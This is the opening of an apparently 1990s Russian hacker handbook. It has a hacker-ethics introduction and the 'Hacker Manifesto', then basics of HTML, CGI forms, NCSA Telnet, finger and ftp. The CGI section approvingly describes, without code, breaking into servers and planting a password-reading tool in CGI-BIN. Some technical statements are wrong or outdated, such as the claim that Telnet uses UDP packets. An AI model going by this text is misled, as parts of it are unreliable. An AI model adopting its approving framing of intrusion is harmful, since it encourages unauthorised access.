Введение. Этика хакинга.
Вся информация должна быть доступна.
Доступ к компьютерам — равно как и ко всем ресурсам, пользуясь которыми человек
может открыть для себя что-то новое об окружающем мире, — должен быть свободным
и неограниченным. Всегда держите это в голове.
Вся информация должна быть доступна.
Не доверяйте авторитетам. Будьте свободны в своих суждениях и поступках.
Хакер должен быть оценен по своим делам, а не по ложным ханжеским критериям
образованности, возрасту, цвету кожи или социальному статусу. Вы — творцы, вы
создаете на своих компьютерах новое искусство и новую красоту. Компьютеры
изменят вашу жизнь к лучшему!
Оригинальный манифест хакера.
This is our world now... the world of the electron and the switch, the beauty of
the baud.
We make use of a service already existing without paying for what could be dirt
cheep if it wasn't run by profiteering gluttons, and you call us criminals. We
explore... and you call us criminals. We exist without skin color, without
nationality, without religious bias... and you call us criminals. You build
atomic bombs, wage wars, murder, cheat, and lie to us and try to make us believe
it is for our own good, yet we're the criminals.
Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging
people by what they say and think, not what they look like. My crime is that of
outsmarting you, something that you will never forgive me for. I am a hacker and
this is my manifesto. You may stop this individual, but you can't stop us all...
after all, we're all alike.
Глава 1. Internet, Telnet и HTML...
1.1. Немного истории.
Вначале была ArpaNet... а потом уже только появился World Wide Web – система
Internet, позволяющая получать доступ к гипертекстовой информации через так
называемые перекрестные ссылки. В WWW вы можете читать текст, видеть картинки,
наслаждаться музыкой или даже смотреть видео-фильмы. Просматривая гипертекст вы
можете простым нажатием клавиши мыши найти практически любую информацию. Это
означает, что из WWW вы можете получить доступ к Telnet, E-mail, FTP, Gopher,
WAIS, Archie или конференциям Usenet.
Но за все это придется платить качественным модемом и совершенным компьютером.
Кроме того, необходимо помнить о том, что на гнилой или медленной линии
блуждание по Web равносильно работе в среде Windows на машине PC/AT c 286-м
процессором.
Как будет сказано ниже, создал WWW Тим Бернерс-Ли. За это ему наше большое
человеческое спасибо. Сейчас WWW объединяет около 30 миллионов пользователей и
30 000 сетей, взаимодействующих между собой через TCP/IP.
WWW часто называют всемирной паутиной, подразумевая под этим понятием тот факт,
что блуждая по WWW вы можете запутаться. Это действительно так, если вы новичок.
Опытный пользователь, искушенный в поисковых системах Web, способен достаточно
быстро отыскать нужную информацию.
Используя электронную почту, вы также можете вести поиск по документам WWW. Для
этого вы должны послать электронное сообщение, например, по адресу agora@mx.nsu.nsk.su,
указать в тексте письма send <URL> или send <обратный адрес> <URL> и, наконец,
получить запрошенный документ.
В древние времена, когда всемирной паутины еще не существовало, было всего два
способа получения и чтения сетевой информации. Пересылались и принимались либо
текстовые файлы, либо связанные бинарные файлы. Все это дело загружалось (через
xmodem, zmodem) на компьютер и обрабатывалось только в автономном режиме. Что
касается бинарных файлов, то прежде чем работать дальше, эти файлы посредством
специального приложения подвергались восстановительным операциям.
Терпеть этого дальше никто не мог. И тогда в 1990 году в Женеве физик Тим
Бернерс-Ли разработал нечто. А именно — систему для глобальной компьютерной
сети. Эта система была с единственным графическим интерфейсом, через который
удаленный пользователь в интерактивном режиме мог обращаться к различным типам
баз данных и технической документации.
Так был создан Web.
Web начинался с 500 различных серверов или так называемых домашних страниц, а
позднее, уже в 1993 году их стало около 12000.
Узлы Web используют уникальную схему адресации, которая включает в себя так
называемый универсальный локатор ресурса (URL). Через модем Web-информация
попадает к вам на компьютер сразу после того, как вы набрали телефонный номер
сервера, на котором размещены странички, содержащие эту информацию.
Все узлы Web классифицированы Международным центром сетевой информации (NIC) на
шесть доменов так:
● com – коммерческие предприятия, например, провайдеры Internet.
● edu — образовательные учреждения, колледжи и университеты.
● net – действующие сети, например, Network Information Center.
● org – непрофессиональные организации.
● mil – военные сети.
● gov – правительственные учреждения, например, whitehouse.gov.
Кроме этого, все доменные имена имеют указатели на страну, в которой расположен
данный узел. Например, доменные имена .uk, .jp и .us представляют соответственно
Великобританию, Японию и США.
Информация в документах Web может быть найдена по ключевым словам. Это означает,
что каждый броузер Web содержит определенные ссылки, через которые образуются
так называемые гиперсвязи, позволяющие миллионам пользователей Internet вести
поиск информации по всему миру.
Web может открывать доступ к другим ресурсам Internet, например к электронной
почте, FTP, Gopher, WAIS или конференциям Usenet. Одно из таких средств серфинга
по мировой паутине было предложено в январе 1993 года Марком Андерсоном (marca@ncsa.uiuc.edu).
Называлось оно Mosaic – первый бриллиант Internet. Именно благодаря этому
драгоценному камню и был разработан язык гипертекстовых документов (HTML),
который позволял просматривать в Web не только текстовую информацию, но и
картинки. Вскоре Mosaic пришел в Microsoft Windows, Apple Macintosh и X Windows.
Позднее Марк Андерсон начал работать в компании Netscape Communications, в
которой Mosaic превратился в знаменитый броузер Netscape Navigator Gold.
1.2. Основные понятия.
Гипертекстовые документы
HTML позволяет вам формировать различную гипертекстовую информацию на основе
структурированных документов. Тот или иной обозреватель (броузер) Internet
определяет сформированные ссылки и через протокол передачи гипертекста HTTP
открывает доступ к вашему документу другим пользователям Сети.
Разумеется, для успешной реализации всего этого необходим софт, полностью
совместимый с WWW и поддерживающий HTML.
HTML
HTML документ — это обычный текстовой файл.
Например, через Microsoft Internet Explorer вы можете просмотреть результат
вашей работы, просто загрузив в этот обозреватель созданный на основе синтаксиса
HTML текстовой файл.
Гипертекстовый язык предоставляет только информацию для чтения. Это означает,
что редактировать Web-страницы может лишь тот, кто их создал, а не простой
пользователь сети сетей. Впрочем, если забежать немного вперед, можно сказать,
что используя общий шлюзовой интерфейс (CGI) можно добавлять некоторые операторы
HTML в сгенерированную страницу.
Тэги
Самый смак гипертекстового языка – это ссылки. В мировой паутине вы просто
нажимаете на ссылку и мгновенно оказываетесь в другой точке земного шара.
В языке описания гипертекстовых документов все тэги парные. В конечном тэге
присутствует слэш, который сообщает броузеру о завершении. Но! Существует одно
исключение из этого правила пар:
● В природе не существует тэга </P>.
● В языке HTML нет разницы между прописными и строчными символами.
● Не все тэги совместимы с броузерами. Если броузер не понимает тэг, то он его
просто пропускает.
Итак, документ HTML это заголовок:
<html>
<head> Заголовок </head>
<body>
...
и текст
...
</body> с названием:
<head>
<title> Название </title>
</head>
Название документа
Это не правило, и даже не закон, это факт: Любой документ HTML имеет название.
По названию вашего документа HTML другие броузеры могут найти информацию. Место
для названия всегда определено – оно находится вверху экрана, и отдельно от
содержимого документа. Максимальная длина названия – 40 символов.
Форматирование
Форматирование может быть непосредственным или авторским. Если вы используете
тэг <pre>, то форматирование считается авторским:
<body>
<pre>
Следующие тэги присущи непосредственному форматированию:
● <p> — параграф;
● <hr> — горизонтальная линия;
● <br> — обрыв строки.
Заголовки и подзаголовки
Язык HTML позволяет вам работать с шестью уровнями заголовков. Первый заголовок
– самый главный. На него обращается особое внимание. Остальные заголовки могут
быть оформлены, например, жирным шрифтом или прописными буквами.
В HTML первый заголовок обозначается как <H1>:
<Hn>Текст</Hn >
Под n понимается уровень заголовка, то есть числа 1, 2, 3, 4, 5 или 6.
В HTML первый заголовок может совпадать с названием документа.
Списки
Списки подразделяются на:
● ненумерованные:
<ul>
<li> Элемент списка
</ul>
● нумерованные:
<ol>
<li> Элемент списка
</ol>
● c описаниями:
<DL>
<DT> Собака (элемент)
<DD> Друг человека (описание элемента)
</DL>
● вложенные:
<UL>
<LI> Примус
<OL>
<LI> Другой примус
...
</OL>
<LI>
...
</UL>
Выделение текста
Текст в документе HTML может быть выделен одним из следующих способов:
● <cite> — цитата </cite>.
● <code> — программный код </code>.
● <dfn> — определение </dfn>.
● <em> — логический акцент </em>.
● <kbd> — ввод с клавиатуры </kbd>.
● <samp> — сообщения компьютера </samp>.
● <strong> — сильный акцент </strong>.
● <var> — переменные </var>.
Один большой параграф
В HTML разбиение на строки не принципиально. Это означает, что вы можете разбить
строки вашего документа в любом его месте. Связано это с тем, что в
гипертекстовом документе идущие подряд отбивки превращаются в одну. Но! Если
отбивка сделана после тэга <P>, то она учитывается. Если какой-нибудь тэг <H>
игнорируется, то отбивка также учитывается. В остальных случаях броузер будет
пропускать отбивки.
1.3. Ссылки.
HTML позволяет вам связать текст или картинку с другими гипертекстовыми
документами. Текст, как правило, выделяется цветом или оформляется
подчеркиванием. Для этого используется тэг <A>. Помните, что после буквы A
должен стоять пробел.
Чтобы сформировать ссылку:
● наберите <A.
● введите HREF=”filename”>.
● наберите после > текст гипертекстовой ссылки.
● наберите тэг </A>.
Один из вариантов гипертекстовой ссылки может выглядеть так:
<A HREF=”BobAnapa.html”>Bob</A>
Здесь слово “Bob” ссылается на документ BobAnapa.html, образуя гипертекстовую
ссылку.
Если документ формирующий ссылку находится в другой директории, то подобная
ссылка называется относительной:
<A HREF=”BobAnapa/ВobMoscow.html”>Bob</A>
Если вы хотите указать полное имя файла, то вам необходимо использовать
синтаксис UNIX.
Формирование ссылок
Ссылки можно формировать на основе так называемого универсального локатора
ресурса, то есть используя следующий синтаксис:
protocol: //hostport/path
Предварительное форматирование текста
Тэг <PRE> позволяет сформировать текст, оформленный моноширинным шрифтом.
Используйте этот тэг для оформления листингов программ.
Расширенные цитаты
Тэг <BLOCKQUOTE> позволяет вам включить цитату в уединенный объект.
Адрес
Тэг <ADDRESS> позволяет сформировать информацию об авторе документа HTML.
Куча слов относительно форматирования символов
В HTML слова и строки кодируются логическими и физическими стилями. Физические
стили форматируют текст. Логические стили форматируют через определение в
гипертекстовом документе некоторого значения. Это в частности означает, что тэг
заголовка первого уровня не содержит информации о размере шрифта и гарнитуре.
Поэтому, чтобы изменить символьное форматирование заголовка вы должны
модифицировать заголовок первого уровня. Через логические (в том числе и
символьные) тэги вы можете сформировать согласованный гипертекстовый документ,
то есть определить заголовок первого уровня в качестве только <H1> (без
информации о гарнитуре шрифта и его кегле).
Логические стили
Ниже мы представляем примеры логических стилей документа HTML.
● <DFN> Определить слово. Как правило, курсив.
● <EM> Усилить акцент. Как правило, курсив.
● <CITE> Заголовок чего-то большого и хорошего. Курсив.
● <CODE> Компьютерный код. Моноширинный шрифт.
● <KBD> Текст, введенный с клавиатуры. Моноширинный жирный шрифт.
● <SAMP> Сообщение программы. Моноширинный шрифт.
● <STRONG> Ну очень важные участки. Жирный шрифт.
● <VAR> Замена переменной на число. Курсив.
Физические стили
Гипертекстовый документ может быть оформлен с использованием следующих стилей:
● <B> Полужирный.
● <I> Курсив.
● <TT> Моноширинный.
1.4. Специальные символы.
Символы, которые не могут быть введены в текст документа непосредственно через
клавиатуру называются специальными символами. Для таких символов существуют
особые тэги.
Четыре символа — знак меньше (<), знак больше (>), амперсанд (&) и двойные
кавычки (“) имеют специальное значение внутри HTML и следовательно не могут быть
использованы в тексте в своем обычном значении.
Скобки используются для обозначения начала и конца HTML тэгов, а амперсанд
используется для обозначения так называемой escape-последовательности. Для
использования одного из этих символов введите одну из следующих
escape-последовательностей:
● < — знак меньше.
● > — знак больше.
● & — амперсанд.
● " — кавычки.
Принудительный перевод строки
Тэг <BR> переводит только одну строку, то есть без дополнительного пробела.
Горизонтальные разделители
Тэг <HR> формирует горизонтальную линию по всей ширине окна.
Встроенные изображения
Вы можете встраивать в ваш документ картинки. Синтаксис встроенной картинки
следующий:
<IMG SRC=image_URL>
Здесь image_URL есть указатель на файл картинки, синтаксис которого совпадает с
синтаксисом ссылки HTML.
Звуковоспроизведение
Для того, чтобы вставить в вашу страничку звуковой файл, например, midi-файл,
используйте следующую конструкцию:
<EMBED SRC=”bob1.mid” WIDTH=”140” HEIGHT=”50” ALIGN=”MIDDLE”
BORDER=”0” AUTOSTART=TRUE>
Это одна строка.
В тэге были использованы следующие параметры:
● WIDTH — параметр определяющий ширину midi-плейера.
● HEIGHT — параметр определяющий высоту midi-плейера.
● BORDER — ширина рамки midi-плейера.
● AUTOSTART — запустить midi-плейер сразу после того, как загрузится документ
HTML.
Распределение ссылок по картинке
Используя технологию распределения ссылок по картинке, вы можете, например,
создать графическое меню из одной большой картинки таким образом, чтобы каждый
элемент системы меню содержал определенный URL.
Распределение ссылок по картинке описывается в тэге IMG следующим параметром:
<IMG SRC=”url” USEMAP=”url#map_name”>
Здесь аргумент USEMAP задает расположение схемы распределения map_name в URL.
Если URL не указан, то поиск схемы map_name ведется в текущем документе.
Код схемы может выглядеть так:
<MAP NAME=”map_name”>
<AREA [SHAPE=” shape “] COORDS=”x,y,...” [HREF=” reference “] [NOHREF]>
</MAP>
Выше были использованы следующие тэги:
● <AREA> — определить для данного URL область на картинке посредством параметров
SHAPE и COORDS.
● SHAPE — форма области.
Вы можете выделить область на картинке так:
● default — стандартная форма.
● rect — прямоугольник.
● circle — круг.
● poly — многоугольник произвольной формы.
● COORDS — координаты области. Задаются в пикселах. Отсчет начинается с нуля.
Круг имеет три координаты, прямоугольник — четыре, а для многоугольника вы
должны описать каждый его угол в двух координатах. Например, область имеющая
размеры 50 на 50 пикселов описывается так:
<AREA COORDS=”0,0,54,54” ...>
● HREF=”url” — определить ссылку на схеме, то есть вписать URL.
● NOHREF — указать, что в данной области картинки отсутствует ссылка. Этот
параметр работает всегда, когда не определен параметр HREF.
● </MAP> — закончить описание схемы распределения ссылок по картинке.
Общий шлюзовой интерфейс и формы HTML
Общий шлюзовой интерфейс (Common Gateway Interface) позволяет работать с данными
сервера Web в интерактивном режиме. Сервер Web через CGI запускает поисковую
программу и пересылает обработанные данные назад. Сама программа CGI хранится в
каталоге CGI-BIN. Это означает, что файл из каталога CGI-BIN всегда исполняемый
файл. Если CGI-программа, например, взаимодействует с системой управления базой
данных, то пользователь может получать некоторую интересующую его информацию в
интерактивном режиме.
Это тривиально, но это факт: CGI-программы создаются посредством CGI. Код
программы пишется, как правило, на языке описания сценариев Perl. Perl является
интерпретируемым языком.
Передача данных от сервера к программе CGI осуществляется сервером через
командную строку и переменные окружения.
Таким образом, сервер через общий шлюзовой интерфейс запускает программу CGI и
пересылает ей вводимые пользователем данные. Сами данные вводятся через так
называемые формы HTML. Форма представляет собой гипертекстовую страницу с одним
или несколькими полями данных и специальной кнопкой для передачи введенной
информации.
Как и код любого гипертекстового документа, код формы начинается с тэга FORM
ACTION = /SGI-BIN/EXAMPLE.PL и заканчивается тэгом /FORM.
● ACTION
Аргумент ACTION — это URL программы CGI, то есть /SGI-BIN/ EXAMPLE.PL.
● METHOD
Метод, используемый для запроса данных. Этот параметр задает режим передачи
данных из формы в программу CGI. Основные режимы передачи — GET, HEAD и POST.
Программа CGI должна поддерживать один из этих режимов, иначе обработки данных
не произойдет.
В режиме GET данные входят через URL в строку запроса. Например, если программа
обработки данных BOB.PL лежит в каталоге CGI-BIN, то запрос HTML пойдет на
сервер через ACTION следующим образом:
FORM ACTION=/CGI-BIN/BOB.PL METHOD=GET
Теперь сервер знает, где находится программа BOB.PL, поэтому он ее запустит в
режиме GET.
Программы CGI получают данные от переменных окружения и посылают выходные данные
через общий шлюзовой интерфейс обратно пользователю. Например, после ввода тэга
A HREF=BOB.HTML на сервер пойдет запрос GET /BOB.HTML. Заголовок GET определяет
получение документа BOB.HTML в корневом каталоге сервера.
Аргумент POST
CGI реализован в программах, поддерживающих Unix и некоторые приложения Windows.
CGI для Windows реализуется лишь в том случае, если сервер Web способен
декодировать данные тех форм HTML, которые пересылаются в режиме POST. Это можно
сделать двумя способами:
● URL-Encoded. Данные формы пересылаются на сервер в виде HTML.
● Multipart Form Data. Данные формы пересылаются на сервер в виде
MIME-сообщения.
INPUT TYPE=TEXT
Поместить в форму текстовое поле данных.
NAME=NAME
Определить имя текстового поля данных NAME.
MXLENGTH=NUMBER
Размер текстового поля данных. Вместо NUMBER вы можете ввести целое число.
RADIO
Определить кнопку переключения.
NAME=PRODTYPE
Определить логическое поле PRODTYPE.
INPUT TYPE=CHECKBOX
Определить флажок для протокола передачи.
ACCEPT
Метод, используемый для интерпретации пересылаемых файлов. Файлы могут
пересылаться в виде ASCII или HTML. Количество заголовков ACCEPT соответствует
типам данных MIME (Multipurpose Internet Mail Extensions).
Заголовок ACCEPT: TYPE/SUBTYPE { parameters} пересылается как значение параметра
ACCEPT. Каждый тип данных имеет собственный параметр ACCEPT.
Осторожно! Каталог CGI-BIN!
В подавляющем числе удаленных компьютеров каталог CGI-BIN зарезервирован для
исполняемых файлов. Это означает, что файлы из этого каталога могут быть
запущены через Web. Обычно в этом каталоге хранятся сценарии на языке PERL,
которые запускаются на удаленном сервере Web программой CGI (вы просто нажимаете
кнопку Submit, которая сформирована кодом формы HTML, написанным для исполняемой
программы CGI). В этот каталог, при большом желании, можно поместить и другие
файлы, имеющие такое же отношение к общему шлюзовому интерфейсу, как и Билл
Гейтс к созданию UNIX. Гипертекстовый язык предоставляет только информацию для
чтения, то есть модифицировать Web-страницы может лишь их автор. Но! Используя
общий шлюзовой интерфейс CGI, можно добавлять некоторые операторы HTML в
сгенерированную страницу. Это означает, что вы можете запросить информацию у
Web-сервера, затем запустить поисковый софт и получить то, что вы хотите. Вы
просто вставляете нужные вам операторы гипертекстового языка в существующую
Web-страницу. Ваша задача – найти Web-сервер, который использует CGI и тем самым
способен запускать различный софт.
Файлы общешлюзового интерфейса — это не обыкновенные текстовики, это вполне
полноценный софт (в частности, когда вы блуждаете по Web, вы используете CGI).
Софт этот (как правило, код пишется на языке сценариев Perl — Practical
Extraction and Report Language) хранится в каталоге CGI-BIN нужного вам сервера
Web. Хакер взламывает сервер, находит этот каталог, запускает программу CGI,
передает ей подготовленные им данные, она их обрабатывает, возвращает на броузер
хакера результат и, наконец, преобразовывает уже свои данные в нужную хакеру
гипертекстовую страничку.
Как это делается? Хакер нажимает Submit и броузер начинает работать согласно
инструкциям оператора ACTION таким образом (происходит передача ключей и
значений), что удаленный компьютер запустит сценарий из удаленного каталога
CGI-BIN. К исполняемым файлам каталога CGI-BIN доступ неограничен. Поэтому, к
примеру, хакер может поместить в этот каталог программу чтения файлов паролей
или небольшую приблуду, позволяющую заменять файлы.
1.5. Telnet.
В Telnet, как правило, вкладывают два смысла. Во первых Telnet — это протокол
эмуляции терминала, через который осуществляется удаленный доступ в Internet. А
во вторых, telnet это программа UNIX с аналогичными функциями (пишется с
маленькой буквы, ибо в UNIX это важно). Запустив такую программу, вы увидите на
экране своего монитора удаленный терминал. Все это может быть реальностью только
за деньги, То есть вы должны получить доступ в Internet на уровне Dial-up.
Впрочем, в Internet существуют сервера, которые предоставляют бесплатный
ограниченный доступ через Telnet к некоторым базам данных.
Программа telnet через определенные команды позволяет управлять параметрами
сеанса связи только через командный режим. Это означает, что сначала вы
коннектитесь с удаленным хостом и после того как нажимаете
escape-последовательность, попадаете в командный режим telnet. Сеанс связи
поддерживается как вашим софтом, так и софтом удаленной машины. Если копать
глубже, то связь осуществляется через протокол TCP посредством пакетов UDP.
Таким образом Telnet это:
● регистрация на удаленном компьютере;
● использование софта Internet, в том числе клиентских программ на удаленном
компьютере.
● запуск доступного софта на удаленном компьютере.
Далее мы будем разбирать Telnet на основе программы NCSA Telnet. Этот софт
предоставляет интерактивный доступ с писишного компьютера к телнетовским
серверам сети TCP/IP.
NSCA Telnet
Многие, говоря о Telnet, подразумевают UNIX. А те, кто считают, что знают UNIX,
работают в Internet через Telnet. Мы уходим от тех и от других. На время. Мы
погрузимся в старый добрый DOS, так как NCSA Telnet работает в стандартной MS
DOS.
Запуск NCSA Telnet осуществляется после ввода следующей команды:
telnet hostname
Если все набрано правильно, то вы соединитесь с хостом hostname. Этот хост
попросит вас ввести регистрационное имя и пароль.
NCSA Telnet эмулирует терминал VT100. Но операционка удаленного хоста не может
определить тип вашего терминала. Вы должны определить его сами. Для удаленных
UNIX-компьютеров введите:
newton% set term=vt100;tset
Выход из NCSA Telnet зависит от того количества сессий, которое вы имеете в
данный момент. То есть, вы должны разорвать связь с каждым хостом.
Результатом ваших действий должно быть обычное приглашение вашей операционки.
Вы также можете завершить сеанс через комбинацию клавиш Alt-X. Эта команда
закрывает только текущую сессию.
Лучшие клавиатурные эквиваленты
● Alt-A Дополнительная сессия.
● Alt-N Следующая сессия.
● Alt-D Перехватить активный текст и послать его в файл.
● Alt-Z Сделать сессию невидимой, но
активизированной.
● Alt-E Выйти в оболочку DOS.
● Alt-G Графическое меню.
● Alt-C Включить/отключить режим перехвата.
● Alt-R Отключить экран VT100.
● Alt-H Подсказка.
● Alt-Y Прервать процесс.
● Alt-B Предыдущая сессия.
● Alt-O Блокировать вывод.
● Alt-U Удалить строку.
● Alt-K Удалить символ.
● Alt-F Начать передачу файла.
● Home Выйти из графического режима.
● Alt-I Переслать IP-адрес удаленному компьютеру.
● Alt-S Пропустить прокрутку.
● Alt-P Изменить параметры.
● Alt-X Закрыть соединение.
Непонятный VT100 и ясный локальный терминал
В NCSA Telnet терминал вашего компьютера отображается на удаленном компьютере
как терминал VT100. Вы же работаете на PC. Поэтому некоторые клавиши вашего
компьютера отличаются от аналогичных на VT100.
Сразу несколько сессий? ОК!
NCSA Telnet позволяет открывать несколько сессий одновременно. Для этого вы
должны ввести:
telnet hostname hostname ...
где hostname — имя компьютера, с которым вы коннектитесь.
Что там есть в нашей строке состояния? Все!
Терминал VT100 удаленного компьютера требует 24 строки. В 25 строке локального
компьютера вы можете видеть состояние собственной сессии. Выделенные символы
отображаются в нижнем левом углу. Все эти символы соответствуют удаленному
хосту. Остальные символы могут отображать все что угодно.
Открываем еще одну сессию
Открыть еще одну сессию на текущем удаленном хосте или на другом хосте можно
через клавиатурную комбинацию Alt-A.
Указываем на хоста
Вы можете телнетиться только через IP-адрес. Поэтому ваша первая задача —
определить IP-адрес удаленного компьютера. Для этого настройте программу на
поиск имен посредством соответствующей службы удаленного сервера.
Прокручиваем в режиме обратной прокрутки
Клавиша Scroll Lock позволяет не прокручивать экран, когда идет получение данных
и включать/отключать режим обратной прокрутки. Режим обратной прокрутки дает вам
возможность перемещать данные на экране стрелками или клавишами PgUp и PgDn.
Помните, что в режиме обратной прокрутки нельзя оперировать командами telnet.
Вырезаем и вставляем
Находясь в режиме обратной прокрутки, вы можете копировать части текста одной
сессии и вставлять эти части в другую. Попробуем скопировать текст в буфер и
затем вставить его из буфера в новую сессию.
1. Включите режим обратной прокрутки посредством нажатия клавиши Scroll Lock.
2. Передвиньте курсор в начало текста и нажмите клавишу пробела.
3. Передвиньте курсор в конец текста и нажмите клавишу пробела.
4. Нажмите Alt-C. Выделенный текст скопирован.
5. Выходим из режима обратной прокрутки и переключаемся на новую сессию
посредством нажатия клавиш Alt-N или Alt-B.
6. Помещаем курсор в желаемое место и нажимаем Alt-V.
Выделенный текст помещен в новую сессию.
Переключаемся между сессиями
Переключиться между двумя активными сессиями можно через команду Alt-N. Имя
активизированной сессии вы можете увидеть в левой нижней части экрана. Если вы
хотите вернуться в старую сессию, то вы можете это сделать через команду Alt-B.
Просматриваем сообщения экрана консоли
Экран консоли отображает информацию, связанную с локальным и удаленным
компьютером. Вызвать экран консоли вы можете через Alt-Z.
Закрываем текущую сессию
Командой Alt-X закрывается текущая сессия. Используя эту команду, мы наблюдали
сбои на удаленном компьютере.
Перехватываем текст экрана
Если нажать Alt-C, то можно перехватить текст экрана и направить его в файл (то
есть добавить текст к файлу capfile) или распечатать. Если вы повторно выберите
команду Alt-C, вы отключите режим перехвата.
Если в меню Parameters вместо стандартного файла для перехвата указать prn, то
можно распечатать перехваченный текст.
Невозможно перехватить текст активной сессии, если включен перехват в фоновой
сессии. Решить эту проблему можно командой Alt-D.
Игнорируем бесконечный текст
Если вы хотите пропустить идущий бесконечным потоком текст, нажмите Alt-S. Вы
пропустите текст только на экране, то есть сам текст будет находиться в буфере
перехвата.
Перезагружаем экран VT100
Если вам не понравился текущий тип терминала и вы желаете установить новые
параметры VT100 (точнее их установит удаленный компьютер), нажмите Alt-R.
Параметры вашего экрана VT100, в этом случае, переустановятся таким образом, что
отключится режим упаковки, разблокируется графический режим, а табуляторы
установятся на каждую восьмую позицию.
Все! Надоело! Больше не могу!
Команда Ctrl-Shift-F3 применяется в том случае, когда ни одна из сессий не
работает, Scroll Lock не горит, нажатие клавиш ALT-R и/или ALT-X не приводит ни
к какому результату. После выполнения команды Ctrl-Shift-F3 вы выйдите из Telnet
в DOS.
Не разрывая связь, выходим в DOS
Если вы хотите выйти в DOS и при этом оставаться в сессиях, нажмите Alt-E. В
досовской оболочке вы можете использовать любые программы, кроме сетевой версии
NCSA Telnet, сетевой версии программа FTP пользователя и программы format.
Возврат в Telnet осуществляется командой exit.
Устанавливаем параметры
Если вы хотите изменить цвета, задать новый эхо-режим, настроить клавишу
стирания символов, управлять режимом экрана и режимом пересылки файлов, дать
другое имя сессии, типу терминала и файлу перехвата, нажмите Alt-P. После того,
как вы в появившемся диалоговом окне Parameters модифицируете необходимые опции,
нажмите клавишу F1 (для сохранения изменений) или Esc (для сохранения предыдущих
параметров).
Символы или строки?
Вы можете воспользоваться достоинствами построчного режима в случае, если вам
долго отвечает удаленный компьютер. Вы просто втаскиваете данные в буфер и
пересылаете их единым пакетом на удаленный компьютер через нажатие клавиши
Return. При этом вы можете воспользоваться следующими клавиатурными
комбинациями:
● если вы нажмете Ctrl-U, то буфер очистится.
● удаление последнего символа, добавленного в буфер осуществляется клавишей
Backspace.
● после нажатия клавиши Tab данные буфера вместе с символом табуляции немедленно
отправятся на удаленный компьютер.
Два замечания относительно построчного режима:
● любой управляющий символ можно отправить на удаленный компьютер лишь в том
случае, если этот символ снабдить приставкой ^.
● нельзя переслать на удаленный компьютер комбинации
Ctrl-U или Backspace.
В случае символьного режима ваши данные передаются на удаленный компьютер
непосредственно в процессе их набора. Этот режим позволяет использовать весь
экран вашего монитора для редактирования данных.
А что если нажать Backspace?!
По умолчанию, клавиша Backspace преобразовывается в код клавиши Delete.
Некоторые удаленные компьютеры работают только с клавишей Backspace. Чтобы
добиться совместимости, необходимо открыть меню Parameters и переустановить код
клавиши Backspace.
Хочу другое имя сессии!
Вы можете изменить имя сессии появляющееся в строке состояния в правом нижнем
углу через меню Parameters. В соответствующее поле данных вы можете ввести до 13
символов.
Хочу другой терминал!
В большинстве сессий эмулируется терминал VT100. У вас имеются другие
возможности эмуляции:
● выбрать VT100 с графикой Tektronix 4014.
● использовать только команды VT100.
● игнорировать коды VT100 и Tektronix 4014.
Автоматический перенос строки
Если вы не хотите смотреть на беспорядочный поток символов, используйте символы
конца строк. При включенной опции автоматического переноса строки переполненный
текст автоматически переходит на следующую строку.
Адаптируемся к графическому интерфейсу
Как правило, режим быстрого вывода текста через буфер экрана несовместим с
Windows. В файле конфигурации посредством опции bios вы можете установить так
называемый режим адаптации.
В этом режиме текст на экране выводится через специальную программу,
использующую доступ к BIOS.
1.6. Команда finger и ее демон.
Через команду finger вы можете получить информацию о пользователях, находящихся
в сети. Синтаксис этой команды следующий:
finger [parameters] [name]@hostname
Без каких-либо ключей-свичей через команду finger вы можете отобразить на экране
своего монитора:
● регистрационное имя пользователя сети.
● полное имя пользователя сети.
● время регистрации пользователя.
● идентификатор пользователя.
● тип терминала.
При наличии нескольких аргументов перед name вы можете отобразить информацию
относительно удаленного пользователя. Эта информация может включать:
● каталог удаленного пользователя.
● оболочка удаленного пользователя.
● время первой или последней регистрации удаленного пользователя.
● тип терминала удаленного пользователя и комментарий для этого терминала из /etc/tty.
● время получения последней почты.
● время последнего чтения почты.
● информацию, содержащуюся в файле .plan в основном каталоге удаленного
пользователя.
● проект, содержащийся в файле .project.
Если вы хотите установить связь с удаленным компьютером и запустить на нем
демона команды finger, то попробуйте вставить вместо name символ кваквы, то есть
@, а после кваквы указать имя удаленного компьютера или его IP-адрес.
1.7. Опции команды finger.
● -l — расширенная информация для локалки.
● -w — общая информация для демона finger.
● -t — изменение времени ожидания ответа.
● -h — изменить имя файла config.tel.
Режимы переноса файла
В NCSA Telnet под режимом переноса файла понимают две функции:
● FTP.
● rcp.
Посредством опций Enabled или Disabled меню Parameters вы можете переносить или
блокировать перенос файлов.
Пересылаем файлы
Пересылка файлов по сети осуществляется через команду ftp. Эта команда
устанавливает соединение с сервером FTP. Если соединение не установлено, то на
вашем экране отобразится внутренний командный интерпретатор с соответствующим
приглашением ftp. Синтаксис команды ftp следующий:
ftp [-name] [hostname]
Параметры для передаваемых файлов
● -d [level] — переход в режим отладки.
● -f <filename> — выполнять только команды файла filename.
● -g — блокировка автоматического расширения имени файла.
● -h <filename> — указать файл конфигурации.
● -i — блокировка приглашений для групповых переносов файлов.
● -m — включить программу more.
● -n — блокировка режима автоматической регистрации.
● -p <filename> — выполнить команды, содержащиеся в файле filename. Эти команды
выполнятся сразу после того как вы зарегистрируетесь.
● -r — отключить переадресацию вывода.
● -s — отключить переключение слэша.
● -v — отображать любые сообщения удаленного компьютера.
Команды для передаваемых файлов
![command]
Если команда не указана — выйти в DOS. Если команда указана — выполнить ее в DOS.
account [password]
Получить пароль доступа к дополнительным ресурсам сервера FTP.
ascii
ASCII-режим передачи данных.
bell
Переслать данные и издать писк.
bget
Бинарный режим передачи данных. Аналог команды get.
binary
Бинарный режим передачи данных.
bput
Переслать файл в бинарном режиме. Аналог команды put.
bye
Закончить выполнение ftp.
cd
Изменить каталог на удаленном компьютере.
close
Закрыть соединение с сервером FTP и выйти в DOS.
delete
Уничтожить файл на удаленном компьютере.
debug [mode]
Активизировать режим отладки, то есть ставить перед каждой командой, посланной
на удаленный компьютер символы ->.
dir [other_directory][my_file]
Распечатать содержимое локального каталога на удаленном компьютере. Вы можете
сохранить полученную таким образом информацию в файле на своем компьютере.
Если вы ввели эту команду без аргумента other_directory, то на удаленном
компьютере будет выведен текущий каталог. Если отсутствует аргумент my_file, то
вся информация отобразится на экране вашего монитора.
get other_file [my_file]
Получить файл с удаленного компьютера и сохранить его на локальном компьютере.
Если у этой команды отсутствует аргумент, то имя сохраняемого файла на локалке
будет таким же, каким оно было на удаленном компьютере.
glob
Посредством этой команды вы можете оперировать расширениями файлов, то есть
использовать команды mdelete, mget и mput не только вместе с именами файлов, но
и с их расширениями. Вы можете применять стандартные символы (* и &) в
